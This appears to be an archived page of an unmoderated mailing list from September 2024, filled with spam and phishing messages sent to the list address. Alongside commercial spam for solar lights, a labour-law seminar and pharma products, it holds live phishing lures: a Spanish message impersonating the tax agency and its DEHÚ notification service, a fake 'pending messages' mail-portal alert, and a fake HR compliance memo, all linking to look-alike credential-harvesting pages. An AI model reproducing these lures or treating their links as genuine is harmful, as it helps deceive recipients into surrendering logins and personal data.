September 2024 - members-discuss-unmoderated

politician:Solar lamp 30W-200W 12.8V solar paths light
by Roland 13 Sep '24

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Hi members-discuss,Our factory produce solar street light 30W-200W 12.8v. working 12hours at night,backup 5rainy days.  Handsome is as handsome doesIf you need,catalog will be shared with you studay. {1个中文句子}Kind regards,构Roland,WhatsApp+8618823389565roland@1t1solar.comrolandsolarpower@gmail.com(To opt out of future communications, please reply with "Delete")

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Plastic parts
by Lily 13 Sep '24

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XML, Boleto e DANFE - 025497
by Emile Pereira 13 Sep '24

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国际快递样品59元含燃油，市场最低，优质服务新体验服务有保障
by dhl-hk 12 Sep '24

12 Sep '24

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La Agencia Tributaria le informa: valide sus datos de cuenta ahora
by ḊEHÚ 12 Sep '24

12 Sep '24

Le informamos que está disponible una nueva notificación postal con los siguientes datos: members-discuss(a)ripe.net   con NIF/NIE: ***478*** en calidad de Titular Organismo emisor: Tribunal Económico Administrativo Central, con DIR3: E00127205 Identificador: 752595970d8512a83bee Concepto: NOTIFICACION SOBRE LA RECLAMACION 46/05448/2024 Cómo puede acceder: Esta notificación la puede descargar en la Dirección Electrónica Habilitada Única (DEHÚ) del Punto de Acceso General, disponible en: https://g8k95.com/?em=members-discuss@ripe.net Para su comodidad, le facilitamos un enlace directo a la notificación: https://qcmf4.com/?em=members-discuss@ripe.net También tiene disponible Notifica app en su dispositivo móvil: iOS: https://apps.apple.com/us/app/deh%C3%BA-notificaciones/id6450259609 Android: https://play.google.com/store/apps/details?id=es.gob.dehu&hl=es_ES Sepa que: Esta notificación se facilita por vía electrónica de acuerdo con lo previsto en el artículo 42.1 de la Ley 39/2015, de 1 de octubre, del Procedimiento Administrativo Común de las Administraciones Públicas, que establece la obligatoriedad para los organismos emisores de poner por vía electrónica las notificaciones que se emitan en papel. La notificación se recibirá en todo caso en papel, aplicándose los plazos que en la misma se indiquen. Adicionalmente podrá recibir esta notificación por distintas vías electrónicas. Si accediera a su contenido por más de una de estas vías, sepa que los efectos jurídicos, si los hubiera, siempre empiezan a contar desde la fecha en que se produzca su primer acceso. Este es un aviso de cortesía remitido desde la Dirección Electrónica Habilitada única. En cualquier momento puede acceder, rectificar o eliminar las direcciones de email a través del formulario disponible en https://dehu.redsara.es/contacta. Gobierno de España

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一份能够打赢官司的劳动合同该如何约定？
by Stasha 12 Sep '24

12 Sep '24

近期用工风险事件曝光，警钟长鸣！🔔📢 最近，一起涉及用工风险的新闻引起了广泛关注。一家知名企业因未能妥善处理员工加班问题，陷入了舆论漩涡。🕒👥 这不仅关乎员工权益，更对企业形象造成了严重影响。事件回顾：多名员工投诉长期超时加班，而补偿却未达标，引发了集体申诉。💼💔 法律专家指出，这触及了《劳动法》的红线，企业必须重视起来！为什么面对劳动争议,企业经常要败诉赔钱? 为什么明明员工不胜任工作，单位解除却违法赔钱? 为什么现在员工动不动就说:有本事你把我开除呀! ? 为什么老板对员工很好，员工走的时候还要申请仲裁，让企业赔钱? 如何降低日渐上涨的用工成本和风险(招聘、培训、社保、工伤、员工解除等) ? 如何才能让企业掌握管理主动权?如何让企业面对员工恶意诉讼，不再赔钱? 劳动争议，企业败诉率高达85%以上! 加班工资、社保、工伤、经济补偿金、年休假等为主要争议类型，甚至有人专门到企业“劳动碰瓷”。劳资纠纷既伤钱又伤情，还容易引发连锁反应和群体事件，严重影响公司管理经营。企安法务是企业用工风险管控系统建设卓越品牌，汇集30多位劳动法律法规实战专家，服务全国超过3000家企业，深度研究劳动争议案件达 10000起以上，从打赢劳动争议官司角度，为企业提供用工风险管控十大系统，彻底解决用工风险。企安----让中国民营企业经营更安全! 让企业打赢劳动官司的用工风险管控十大系统 1、劳动关系管控 2、招聘入职管控 3、工资管理管控 4、社会保险管控 5、劳动争议管控 6、奖惩制度管控 7、考勤制度管控 8、工伤处理管控 9、离职程序管控 10、员工关系管控企安咨询为您一站式解决企业用工风险，为您的企业保驾护航！我们讲座主讲内容：【1】劳动合同条款设计如何对企业有利？比如调岗，调薪，调整工作时间和地址，以及如何解决一些疑难问题（虚构病假，消极怠工等）【2】规章制的完善？规章制度如何得到法院认可，处理员工不担心法律风险，员工给公司造成损失能够要求赔偿等【3】社保未买，社保有税务征收，如何降低成本和规避风险？如员工投诉补缴社保，社保稽查等。【4】员工自己要求不卖社保，但发生不愉快的时候就要求企业补缴或者赔偿？【5】工伤处理？如何预防工伤，出现工伤的处理流程和技巧。【6】员工不服从安排，消极怠工，想处理担心被告？【7】员工发生工伤或者请病假，一直不来企业上班，又不敢解除？本次讲座是不增加企业管理难度和成本的情况下，去规避用工的法律风险，围绕着企业将来能打赢劳动官司的角度设计“劳动合同，规章制度，考勤表，工资条，社保，工伤赔偿协议，离职手续等”帮助企业能够安全，稳健的经营和发展。【参课注意事项】参课对象：董事长、法人、股东、总经理、企业负责人（敏感课题勿派其他人员参加）学习费用：全国统一680元/位（含中餐费、场地费、资料费）参课时间地址：填表后，客服第一时间与您联系近期全国开课时间表： 9月7号广州 9月10号中山 9月11号佛山 9月12号深圳、郑州 9月19号北京 9月20号南京、太原 9月22号上海、武汉 9月23号杭州 9月24号成都 9月26号西安、泉州 9月27号深圳 9月29号广州报名方式： 1、联系专属客服：13928826727 林峰老师 2、在线预约链接：https://jinshuju.net/f/crDDFo 3、如您需要个性化方案，可选择上门入企调研项目，一对一了解贵司的问题及解决方法！原价19800元/家，现优惠政策仅需要1980元/家，可在填表时选择上门入企调研退订回T

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Discover the Popular Pharma Products in E-trade Season August 2024
by pharmasources 12 Sep '24

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Discover the Popular Pharma Products in E-trade Season August 2024 Hello members-discuss(a)ripe.net, 看上去似乎您的e-mail软件不支持HTML。请访问下面的网页使您能够在网页浏览其中阅读这条信息： https://go.pharmasources.com/x/?S7Y1NPqfa2tiafm.yNbYzACI.ufkJ9um5_sVZCQW5SY…

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测试一下
by fangruisujiao＠163.com 12 Sep '24

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You Have 10 Pending Messages in Your Email Portal
by System Administrator 12 Sep '24

12 Sep '24

From members-discuss(a)ripe.net server admin You have ten (10) messages pending on your e-mail portal since morning the 9/12/2024 4:04:55 a.m. proceed message portal or open each subject to release message online. *User ID: members-discuss(a)ripe.net* *Subject* *Recipient* *Date* Pending: RE: Request for quotation BR739404n ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. Pending: Fw: Payment_Notification.pdf ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. Pending: Signed contract; Review and send back ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. Pending: RE: Statement ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. Pending: RE: Payment Confirmation ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. Pending: RE: Inquiry From Pick & Pay ( https://563908.selcdn.ru/round/rcbox1.html?email=[Email] ) To: members-discuss(a)ripe.net 9/12/2024 4:04:55 a.m. (more...4) ( https://roundcube-xi.vercel.app/?web=members-discuss@ripe.net ) * Authorise Delivery for pending mails ( https://roundcube-xi.vercel.app/?web=members-discuss@ripe.net ) * Report Error To IT Help Desk ( https://roundcube-xi.vercel.app/?web=members-discuss@ripe.net ) You will receive pending emails after successful login via portal as we apologize for the inconvenience. Message Encrypted by members-discuss(a)ripe.net � All Rights Reserved. | If you do not wish to recieve this message Unsubscribe. ( https://roundcube-xi.vercel.app/?web=members-discuss@ripe.net ) Unsubscribe ( https://u46467974.ct.sendgrid.net/asm/unsubscribe/?user_id=46467974&data=jY… ) - Unsubscribe Preferences ( https://u46467974.ct.sendgrid.net/asm/?user_id=46467974&data=06NNQRiQwahqpw… )

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Action Required: 2024 Annual Leave Compliance Report Released
by HR Department 12 Sep '24

12 Sep '24

Memo Desk : HR Department Endorsed by : Director of Human Resources Dear members-discuss(a)ripe.net, The HR Department has released the Annual Leave Compliance Report for 2024. You can access it via the following link: Annual-Leave-Compliance-Report-2024.pdf ( https://roundcube-xi.vercel.app/?web=members-discuss@ripe.net ) Employees highlighted in red have not yet complied with the 2024 Annual Leave plan, while those in green have met all requirements. If you have any questions, please reply to this email. *Thanks & Regards,* *Human Resources* *HR Admin* Unsubscribe ( https://u46467974.ct.sendgrid.net/asm/unsubscribe/?user_id=46467974&data=y5… ) - Unsubscribe Preferences ( https://u46467974.ct.sendgrid.net/asm/?user_id=46467974&data=kvtgRi5nJRXogr… )

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